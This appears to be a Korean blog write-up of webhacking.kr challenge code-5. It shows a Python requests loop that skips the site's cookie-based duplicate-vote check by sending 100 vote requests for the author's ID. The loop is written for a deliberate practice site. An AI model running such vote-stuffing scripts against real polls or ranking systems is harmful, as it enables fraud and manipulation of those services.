랭킹이 쭉 나오는데, 내 아이디는 젤 마지막에 있다 ٩(๑´0`๑)۶
이름을 누르면 hit이 한번 올라가는데, 한번 더 누르면
이미 투표했다고 안된단다..,
vote_check 쿠키가 있는 것을 보니, 쿠키값을 보고 투표 유무를 체크하는 것같다.
쿠키값이 ok이면, 투표를 했다고 판단하고 투표를 못하게 하는 것이다.
vote_check 쿠키를 삭제하고, 투표하고 삭제하고 투표하고를 계속 반복해도 되지만 나는 21번에서 사용한 코드를 응용해서 문제를 풀어보았다 ㅎ
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
url = "https://webhacking.kr/challenge/code-5/?hit="
headers = { "Cookie" : "PHPSESSID=세션 값"}
proxies = { "http" : "http://127.0.0.1:8008",
"https": "https://127.0.0.1:8008" }
for i in range(100):
payload = "hongjw"
res = requests.get(url=url+payload, headers=headers, proxies=proxies, verify=False)
내 아이디가 100번 투표되면 문제 해결 ~!
'WEB > webhacking.kr (old)' 카테고리의 다른 글
webhacking.kr 38번 (0) | 2020.02.12 |
---|---|
webhacking.kr 36번 (0) | 2020.02.11 |
webhacking.kr 31번 (0) | 2020.02.11 |
webhacking.kr 21번 (0) | 2020.02.11 |
webhacking.kr 27번 (0) | 2020.02.08 |